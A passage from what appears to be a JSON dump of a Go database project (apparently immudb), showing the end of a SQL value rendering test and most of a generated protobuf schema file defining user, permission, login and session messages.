\"179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\", floatValue)\n\n\tftv = &SQLValue{Value: float64Value5}\n\tfloatValue = RenderValue(ftv.GetValue())\n\trequire.Equal(t, \"-179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\", floatValue)\n\n\tftv = &SQLValue{Value: float64Value6}\n\tfloatValue = RenderValue(ftv.GetValue())\n\trequire.Equal(t, \"0\", floatValue)\n\n\tfakeSV := &SQLValue{Value: &FakeSqlValue{}}\n\tfakeValue := RenderValue(fakeSV.GetValue())\n\trequire.Equal(t, \"&{}\", fakeValue)\n\tfake := RawValue(fakeSV)\n\trequire.Equal(t, nil, fake)\n\tfakeB := RenderValueAsByte(fakeSV.GetValue())\n\trequire.Equal(t, []byte(`&{}`), fakeB)\n}\n\ntype FakeSqlValue struct{}\n\nfunc (*FakeSqlValue) isSQLValue_Value() {}\n"
  },
  {
    "path": "pkg/api/schema/schema.pb.go",
    "content": "//\n//Copyright 2022 Codenotary Inc. All rights reserved.\n//\n//Licensed under the Apache License, Version 2.0 (the \"License\");\n//you may not use this file except in compliance with the License.\n//You may obtain a copy of the License at\n//\n//http://www.apache.org/licenses/LICENSE-2.0\n//\n//Unless required by applicable law or agreed to in writing, software\n//distributed under the License is distributed on an \"AS IS\" BASIS,\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//See the License for the specific language governing permissions and\n//limitations under the License.\n\n// Code generated by protoc-gen-go. DO NOT EDIT.\n// versions:\n// \tprotoc-gen-go v1.32.0\n// \tprotoc        v3.21.12\n// source: schema.proto\n\npackage schema\n\nimport (\n\t_ \"github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options\"\n\t_ \"google.golang.org/genproto/googleapis/api/annotations\"\n\tprotoreflect \"google.golang.org/protobuf/reflect/protoreflect\"\n\tprotoimpl \"google.golang.org/protobuf/runtime/protoimpl\"\n\temptypb \"google.golang.org/protobuf/types/known/emptypb\"\n\tstructpb \"google.golang.org/protobuf/types/known/structpb\"\n\treflect \"reflect\"\n\tsync \"sync\"\n)\n\nconst (\n\t// Verify that this generated code is sufficiently up-to-date.\n\t_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)\n\t// Verify that runtime/protoimpl is sufficiently up-to-date.\n\t_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)\n)\n\ntype EntryTypeAction int32\n\nconst (\n\t// Exclude entries from the result\n\tEntryTypeAction_EXCLUDE EntryTypeAction = 0\n\t// Provide keys in raw (unparsed) form and only the digest of the value\n\tEntryTypeAction_ONLY_DIGEST EntryTypeAction = 1\n\t// Provide keys and values in raw form\n\tEntryTypeAction_RAW_VALUE EntryTypeAction = 2\n\t// Provide parsed keys and values and resolve values if needed\n\tEntryTypeAction_RESOLVE EntryTypeAction = 3\n)\n\n// Enum value maps for EntryTypeAction.\nvar (\n\tEntryTypeAction_name = map[int32]string{\n\t\t0: \"EXCLUDE\",\n\t\t1: \"ONLY_DIGEST\",\n\t\t2: \"RAW_VALUE\",\n\t\t3: \"RESOLVE\",\n\t}\n\tEntryTypeAction_value = map[string]int32{\n\t\t\"EXCLUDE\":     0,\n\t\t\"ONLY_DIGEST\": 1,\n\t\t\"RAW_VALUE\":   2,\n\t\t\"RESOLVE\":     3,\n\t}\n)\n\nfunc (x EntryTypeAction) Enum() *EntryTypeAction {\n\tp := new(EntryTypeAction)\n\t*p = x\n\treturn p\n}\n\nfunc (x EntryTypeAction) String() string {\n\treturn protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))\n}\n\nfunc (EntryTypeAction) Descriptor() protoreflect.EnumDescriptor {\n\treturn file_schema_proto_enumTypes[0].Descriptor()\n}\n\nfunc (EntryTypeAction) Type() protoreflect.EnumType {\n\treturn &file_schema_proto_enumTypes[0]\n}\n\nfunc (x EntryTypeAction) Number() protoreflect.EnumNumber {\n\treturn protoreflect.EnumNumber(x)\n}\n\n// Deprecated: Use EntryTypeAction.Descriptor instead.\nfunc (EntryTypeAction) EnumDescriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{0}\n}\n\ntype PermissionAction int32\n\nconst (\n\t// Grant permission\n\tPermissionAction_GRANT PermissionAction = 0\n\t// Revoke permission\n\tPermissionAction_REVOKE PermissionAction = 1\n)\n\n// Enum value maps for PermissionAction.\nvar (\n\tPermissionAction_name = map[int32]string{\n\t\t0: \"GRANT\",\n\t\t1: \"REVOKE\",\n\t}\n\tPermissionAction_value = map[string]int32{\n\t\t\"GRANT\":  0,\n\t\t\"REVOKE\": 1,\n\t}\n)\n\nfunc (x PermissionAction) Enum() *PermissionAction {\n\tp := new(PermissionAction)\n\t*p = x\n\treturn p\n}\n\nfunc (x PermissionAction) String() string {\n\treturn protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))\n}\n\nfunc (PermissionAction) Descriptor() protoreflect.EnumDescriptor {\n\treturn file_schema_proto_enumTypes[1].Descriptor()\n}\n\nfunc (PermissionAction) Type() protoreflect.EnumType {\n\treturn &file_schema_proto_enumTypes[1]\n}\n\nfunc (x PermissionAction) Number() protoreflect.EnumNumber {\n\treturn protoreflect.EnumNumber(x)\n}\n\n// Deprecated: Use PermissionAction.Descriptor instead.\nfunc (PermissionAction) EnumDescriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{1}\n}\n\ntype TxMode int32\n\nconst (\n\t// Read-only transaction\n\tTxMode_ReadOnly TxMode = 0\n\t// Write-only transaction\n\tTxMode_WriteOnly TxMode = 1\n\t// Read-write transaction\n\tTxMode_ReadWrite TxMode = 2\n)\n\n// Enum value maps for TxMode.\nvar (\n\tTxMode_name = map[int32]string{\n\t\t0: \"ReadOnly\",\n\t\t1: \"WriteOnly\",\n\t\t2: \"ReadWrite\",\n\t}\n\tTxMode_value = map[string]int32{\n\t\t\"ReadOnly\":  0,\n\t\t\"WriteOnly\": 1,\n\t\t\"ReadWrite\": 2,\n\t}\n)\n\nfunc (x TxMode) Enum() *TxMode {\n\tp := new(TxMode)\n\t*p = x\n\treturn p\n}\n\nfunc (x TxMode) String() string {\n\treturn protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))\n}\n\nfunc (TxMode) Descriptor() protoreflect.EnumDescriptor {\n\treturn file_schema_proto_enumTypes[2].Descriptor()\n}\n\nfunc (TxMode) Type() protoreflect.EnumType {\n\treturn &file_schema_proto_enumTypes[2]\n}\n\nfunc (x TxMode) Number() protoreflect.EnumNumber {\n\treturn protoreflect.EnumNumber(x)\n}\n\n// Deprecated: Use TxMode.Descriptor instead.\nfunc (TxMode) EnumDescriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{2}\n}\n\ntype Key struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tKey []byte `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n}\n\nfunc (x *Key) Reset() {\n\t*x = Key{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[0]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Key) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Key) ProtoMessage() {}\n\nfunc (x *Key) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[0]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Key.ProtoReflect.Descriptor instead.\nfunc (*Key) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{0}\n}\n\nfunc (x *Key) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\ntype Permission struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n\t// Permission, 1 - read permission, 2 - read+write permission, 254 - admin, 255 - sysadmin\n\tPermission uint32 `protobuf:\"varint,2,opt,name=permission,proto3\" json:\"permission,omitempty\"`\n}\n\nfunc (x *Permission) Reset() {\n\t*x = Permission{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[1]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Permission) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Permission) ProtoMessage() {}\n\nfunc (x *Permission) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[1]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Permission.ProtoReflect.Descriptor instead.\nfunc (*Permission) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{1}\n}\n\nfunc (x *Permission) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *Permission) GetPermission() uint32 {\n\tif x != nil {\n\t\treturn x.Permission\n\t}\n\treturn 0\n}\n\ntype User struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Username\n\tUser []byte `protobuf:\"bytes,1,opt,name=user,proto3\" json:\"user,omitempty\"`\n\t// List of permissions for the user\n\tPermissions []*Permission `protobuf:\"bytes,3,rep,name=permissions,proto3\" json:\"permissions,omitempty\"`\n\t// Name of the creator user\n\tCreatedby string `protobuf:\"bytes,4,opt,name=createdby,proto3\" json:\"createdby,omitempty\"`\n\t// Time when the user was created\n\tCreatedat string `protobuf:\"bytes,5,opt,name=createdat,proto3\" json:\"createdat,omitempty\"`\n\t// Flag indicating whether the user is active or not\n\tActive bool `protobuf:\"varint,6,opt,name=active,proto3\" json:\"active,omitempty\"`\n\t// List of SQL privileges\n\tSqlPrivileges []*SQLPrivilege `protobuf:\"bytes,7,rep,name=sqlPrivileges,proto3\" json:\"sqlPrivileges,omitempty\"`\n}\n\nfunc (x *User) Reset() {\n\t*x = User{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[2]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *User) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*User) ProtoMessage() {}\n\nfunc (x *User) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[2]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use User.ProtoReflect.Descriptor instead.\nfunc (*User) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{2}\n}\n\nfunc (x *User) GetUser() []byte {\n\tif x != nil {\n\t\treturn x.User\n\t}\n\treturn nil\n}\n\nfunc (x *User) GetPermissions() []*Permission {\n\tif x != nil {\n\t\treturn x.Permissions\n\t}\n\treturn nil\n}\n\nfunc (x *User) GetCreatedby() string {\n\tif x != nil {\n\t\treturn x.Createdby\n\t}\n\treturn \"\"\n}\n\nfunc (x *User) GetCreatedat() string {\n\tif x != nil {\n\t\treturn x.Createdat\n\t}\n\treturn \"\"\n}\n\nfunc (x *User) GetActive() bool {\n\tif x != nil {\n\t\treturn x.Active\n\t}\n\treturn false\n}\n\nfunc (x *User) GetSqlPrivileges() []*SQLPrivilege {\n\tif x != nil {\n\t\treturn x.SqlPrivileges\n\t}\n\treturn nil\n}\n\ntype SQLPrivilege struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n\t// Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER\n\tPrivilege string `protobuf:\"bytes,2,opt,name=privilege,proto3\" json:\"privilege,omitempty\"`\n}\n\nfunc (x *SQLPrivilege) Reset() {\n\t*x = SQLPrivilege{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[3]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SQLPrivilege) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SQLPrivilege) ProtoMessage() {}\n\nfunc (x *SQLPrivilege) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[3]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SQLPrivilege.ProtoReflect.Descriptor instead.\nfunc (*SQLPrivilege) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{3}\n}\n\nfunc (x *SQLPrivilege) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *SQLPrivilege) GetPrivilege() string {\n\tif x != nil {\n\t\treturn x.Privilege\n\t}\n\treturn \"\"\n}\n\ntype UserList struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// List of users\n\tUsers []*User `protobuf:\"bytes,1,rep,name=users,proto3\" json:\"users,omitempty\"`\n}\n\nfunc (x *UserList) Reset() {\n\t*x = UserList{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[4]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UserList) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UserList) ProtoMessage() {}\n\nfunc (x *UserList) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[4]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UserList.ProtoReflect.Descriptor instead.\nfunc (*UserList) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{4}\n}\n\nfunc (x *UserList) GetUsers() []*User {\n\tif x != nil {\n\t\treturn x.Users\n\t}\n\treturn nil\n}\n\ntype CreateUserRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Username\n\tUser []byte `protobuf:\"bytes,1,opt,name=user,proto3\" json:\"user,omitempty\"`\n\t// Login password\n\tPassword []byte `protobuf:\"bytes,2,opt,name=password,proto3\" json:\"password,omitempty\"`\n\t// Permission, 1 - read permission, 2 - read+write permission, 254 - admin\n\tPermission uint32 `protobuf:\"varint,3,opt,name=permission,proto3\" json:\"permission,omitempty\"`\n\t// Database name\n\tDatabase string `protobuf:\"bytes,4,opt,name=database,proto3\" json:\"database,omitempty\"`\n}\n\nfunc (x *CreateUserRequest) Reset() {\n\t*x = CreateUserRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[5]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CreateUserRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CreateUserRequest) ProtoMessage() {}\n\nfunc (x *CreateUserRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[5]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CreateUserRequest.ProtoReflect.Descriptor instead.\nfunc (*CreateUserRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{5}\n}\n\nfunc (x *CreateUserRequest) GetUser() []byte {\n\tif x != nil {\n\t\treturn x.User\n\t}\n\treturn nil\n}\n\nfunc (x *CreateUserRequest) GetPassword() []byte {\n\tif x != nil {\n\t\treturn x.Password\n\t}\n\treturn nil\n}\n\nfunc (x *CreateUserRequest) GetPermission() uint32 {\n\tif x != nil {\n\t\treturn x.Permission\n\t}\n\treturn 0\n}\n\nfunc (x *CreateUserRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype UserRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Username\n\tUser []byte `protobuf:\"bytes,1,opt,name=user,proto3\" json:\"user,omitempty\"`\n}\n\nfunc (x *UserRequest) Reset() {\n\t*x = UserRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[6]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UserRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UserRequest) ProtoMessage() {}\n\nfunc (x *UserRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[6]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UserRequest.ProtoReflect.Descriptor instead.\nfunc (*UserRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{6}\n}\n\nfunc (x *UserRequest) GetUser() []byte {\n\tif x != nil {\n\t\treturn x.User\n\t}\n\treturn nil\n}\n\ntype ChangePasswordRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Username\n\tUser []byte `protobuf:\"bytes,1,opt,name=user,proto3\" json:\"user,omitempty\"`\n\t// Old password\n\tOldPassword []byte `protobuf:\"bytes,2,opt,name=oldPassword,proto3\" json:\"oldPassword,omitempty\"`\n\t// New password\n\tNewPassword []byte `protobuf:\"bytes,3,opt,name=newPassword,proto3\" json:\"newPassword,omitempty\"`\n}\n\nfunc (x *ChangePasswordRequest) Reset() {\n\t*x = ChangePasswordRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[7]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ChangePasswordRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ChangePasswordRequest) ProtoMessage() {}\n\nfunc (x *ChangePasswordRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[7]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ChangePasswordRequest.ProtoReflect.Descriptor instead.\nfunc (*ChangePasswordRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{7}\n}\n\nfunc (x *ChangePasswordRequest) GetUser() []byte {\n\tif x != nil {\n\t\treturn x.User\n\t}\n\treturn nil\n}\n\nfunc (x *ChangePasswordRequest) GetOldPassword() []byte {\n\tif x != nil {\n\t\treturn x.OldPassword\n\t}\n\treturn nil\n}\n\nfunc (x *ChangePasswordRequest) GetNewPassword() []byte {\n\tif x != nil {\n\t\treturn x.NewPassword\n\t}\n\treturn nil\n}\n\ntype LoginRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Username\n\tUser []byte `protobuf:\"bytes,1,opt,name=user,proto3\" json:\"user,omitempty\"`\n\t// User's password\n\tPassword []byte `protobuf:\"bytes,2,opt,name=password,proto3\" json:\"password,omitempty\"`\n}\n\nfunc (x *LoginRequest) Reset() {\n\t*x = LoginRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[8]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *LoginRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*LoginRequest) ProtoMessage() {}\n\nfunc (x *LoginRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[8]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead.\nfunc (*LoginRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{8}\n}\n\nfunc (x *LoginRequest) GetUser() []byte {\n\tif x != nil {\n\t\treturn x.User\n\t}\n\treturn nil\n}\n\nfunc (x *LoginRequest) GetPassword() []byte {\n\tif x != nil {\n\t\treturn x.Password\n\t}\n\treturn nil\n}\n\ntype LoginResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Deprecated: use session-based authentication\n\tToken string `protobuf:\"bytes,1,opt,name=token,proto3\" json:\"token,omitempty\"`\n\t// Optional: additional warning message sent to the user (e.g. request to change the password)\n\tWarning []byte `protobuf:\"bytes,2,opt,name=warning,proto3\" json:\"warning,omitempty\"`\n}\n\nfunc (x *LoginResponse) Reset() {\n\t*x = LoginResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[9]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *LoginResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*LoginResponse) ProtoMessage() {}\n\nfunc (x *LoginResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[9]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use LoginResponse.ProtoReflect.Descriptor instead.\nfunc (*LoginResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{9}\n}\n\nfunc (x *LoginResponse) GetToken() string {\n\tif x != nil {\n\t\treturn x.Token\n\t}\n\treturn \"\"\n}\n\nfunc (x *LoginResponse) GetWarning() []byte {\n\tif x != nil {\n\t\treturn x.Warning\n\t}\n\treturn nil\n}\n\n// DEPRECATED\ntype AuthConfig struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tKind uint32 `protobuf:\"varint,1,opt,name=kind,proto3\" json:\"kind,omitempty\"`\n}\n\nfunc (x *AuthConfig) Reset() {\n\t*x = AuthConfig{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[10]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *AuthConfig) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*AuthConfig) ProtoMessage() {}\n\nfunc (x *AuthConfig) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[10]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use AuthConfig.ProtoReflect.Descriptor instead.\nfunc (*AuthConfig) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{10}\n}\n\nfunc (x *AuthConfig) GetKind() uint32 {\n\tif x != nil {\n\t\treturn x.Kind\n\t}\n\treturn 0\n}\n\n// DEPRECATED\ntype MTLSConfig struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tEnabled bool `protobuf:\"varint,1,opt,name=enabled,proto3\" json:\"enabled,omitempty\"`\n}\n\nfunc (x *MTLSConfig) Reset() {\n\t*x = MTLSConfig{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[11]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *MTLSConfig) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*MTLSConfig) ProtoMessage() {}\n\nfunc (x *MTLSConfig) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[11]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use MTLSConfig.ProtoReflect.Descriptor instead.\nfunc (*MTLSConfig) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{11}\n}\n\nfunc (x *MTLSConfig) GetEnabled() bool {\n\tif x != nil {\n\t\treturn x.Enabled\n\t}\n\treturn false\n}\n\ntype OpenSessionRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Username\n\tUsername []byte `protobuf:\"bytes,1,opt,name=username,proto3\" json:\"username,omitempty\"`\n\t// Password\n\tPassword []byte `protobuf:\"bytes,2,opt,name=password,proto3\" json:\"password,omitempty\"`\n\t// Database name\n\tDatabaseName string `protobuf:\"bytes,3,opt,name=databaseName,proto3\" json:\"databaseName,omitempty\"`\n}\n\nfunc (x *OpenSessionRequest) Reset() {\n\t*x = OpenSessionRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[12]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *OpenSessionRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*OpenSessionRequest) ProtoMessage() {}\n\nfunc (x *OpenSessionRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[12]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use OpenSessionRequest.ProtoReflect.Descriptor instead.\nfunc 